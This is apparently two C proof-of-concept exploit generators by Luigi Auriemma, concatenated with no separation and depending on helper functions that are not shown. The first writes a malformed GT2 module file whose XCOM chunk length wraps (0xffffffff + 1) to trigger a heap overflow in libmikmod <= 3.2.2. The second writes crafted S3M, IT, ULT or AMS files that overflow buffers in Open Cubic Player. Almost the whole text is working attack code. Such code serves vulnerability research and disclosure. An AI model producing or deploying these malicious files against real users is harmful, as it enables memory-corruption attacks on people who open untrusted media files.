int main(int argc, char *argv[]) {
FILE *fd;
gt2_t gt2;
int i;
char *fname;
setbuf(stdout, NULL);
fputs("\n"
"libmikmod <= 3.2.2 and current CVS heap overflow with GT2 files "VER"\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <output_file.GT2>\n"
"\n", argv[0]);
exit(1);
}
fname = argv[1];
printf("- create file %s\n", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();
gt2.gt2[0] = 'G';
gt2.gt2[1] = 'T';
gt2.gt2[2] = '2';
gt2.version = 4;
gt2.chunk_size = 0; // unused
cpy(gt2.module, "module_name");
cpy(gt2.comments, "author");
gt2.date_day = 1;
gt2.date_month = 1;
gt2.date_year = 2006;
cpy(gt2.tracker, "tracker");
gt2.speed = 6;
gt2.tempo = 300;
gt2.volume = 0;
gt2.voices = 0;
printf("- write GT2 header\n");
fwrite(>2, sizeof(gt2), 1, fd);
for(i = 0; i < gt2.voices; i++) fwi16(fd, 0);
printf("- build the XCOM header for exploiting the heap overflow\n");
fwmem(fd, "XCOM", 4);
fwi32(fd, 0); // unused
fwi32(fd, 0xffffffff); // bug here, 0xffffffff + 1 = 0
fwstr(fd, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
fclose(fd);
printf("- finished\n");
return(0);
}
int main(int argc, char *argv[]) {
FILE *fd;
s3m_t s3m;
it_t it;
ams_t ams;
int i,
j,
tmp,
attack;
char *fname;
setbuf(stdout, NULL);
fputs("\n"
"Open Cubic Player <= 2.6.0pre6 / 0.1.10_rc5 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <output_file>\n"
"\n"
"Attacks:\n"
" 1 = buffer-overflow in mpLoadS3M (*.S3M)\n"
" 2 = buffer-overflow in itload.cpp (*.IT)\n"
" 3 = buffer-overflow in mpLoadULT (*.ULT)\n"
" 4 = buffer-overflow (envs) in mpLoadAMS (*.AMS)\n"
"\n", argv[0]);
exit(1);
}
attack = atoi(argv[1]);
fname = argv[2];
printf("- create file %s\n", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();
if(attack == 1) {
memset(&s3m, 0, sizeof(s3m));
strncpy(s3m.name, POCNAME, sizeof(s3m.name));
s3m.kennung = 0x1a;
s3m.typ = 16;
s3m.ordnum = 800;
memcpy(s3m.scrm, "SCRM", 4);
fwrite(&s3m, sizeof(s3m), 1, fd);
for(i = 0; i < s3m.ordnum - 1; i++) fputc('a', fd);
fputc(0, fd); // for forcing "return errFormMiss"
} else if(attack == 2) {
memset(&it, 0, sizeof(it));
memcpy(it.sign, "IMPM", 4);
strncpy(it.name, POCNAME, sizeof(it.name));
it.Cmwt = 0x200;
it.OrdNum = 1000; // buffer-overflow
// it.InsNum = 200; // buffer-overflow
fwrite(&it, sizeof(it), 1, fd);
for(i = 0; i < 64; i++) fwi08(fd, 0);
for(i = 0; i < 64; i++) fwi08(fd, 0);
for(i = 0; i < it.OrdNum; i++) fwi08(fd, 'a');
for(i = 0; i < it.InsNum; i++) fwi32(fd, 'a');
for(i = 0; i < it.SmpNum; i++) fwi32(fd, 'a');
for(i = 0; i < it.PatNum; i++) fwi32(fd, 'a');
} else if(attack == 3) {
fwmem(fd, "MAS_UTrack_V00", 14);
fwi08(fd, 3 + '1');
fwstx(fd, POCNAME, 32);
fwi08(fd, 0); // msglen
fwi08(fd, 0); // insnum
fwbof(fd, 256, 0); // orders
tmp = 0x7f;
fwi08(fd, tmp); // chnn
fwi08(fd, 0); // patn
fwbof(fd, tmp, 'a'); // buffer-overflow
// possible heap overflow with chbp, patlength = 0
} else if(attack == 4) {
fwmem(fd, "AMShdr\x1A", 7); // sig
fwi08(fd, AMSNAMELEN); // sig[7]
fwbof(fd, AMSNAMELEN, 'a'); // name
fwi16(fd, 0x202); // filever
memset(&ams, 0, sizeof(ams));
ams.ins = 1;
fwrite(&ams, sizeof(ams), 1, fd);
for(j = 0; j < ams.ins; j++) {
fwi08(fd, AMSNAMELEN); // namelen
fwbof(fd, AMSNAMELEN, 'a'); // name
fwi08(fd, 1); // smpnum
fwbof(fd, 120, 0); // samptab
for(i = 0; i < 3; i++) { // envs
tmp = 0xff;
fwi08(fd, 0); // speed
fwi08(fd, 0); // sustain
fwi08(fd, 0); // loopstart
fwi08(fd, 0); // loopend
fwi08(fd, tmp); // points
fwbof(fd, tmp * 3, 'a');
}
}
} else {
printf("\nError: you must specify the right attack number\n");
}
fclose(fd);
printf("- finished\n");
return(0);
}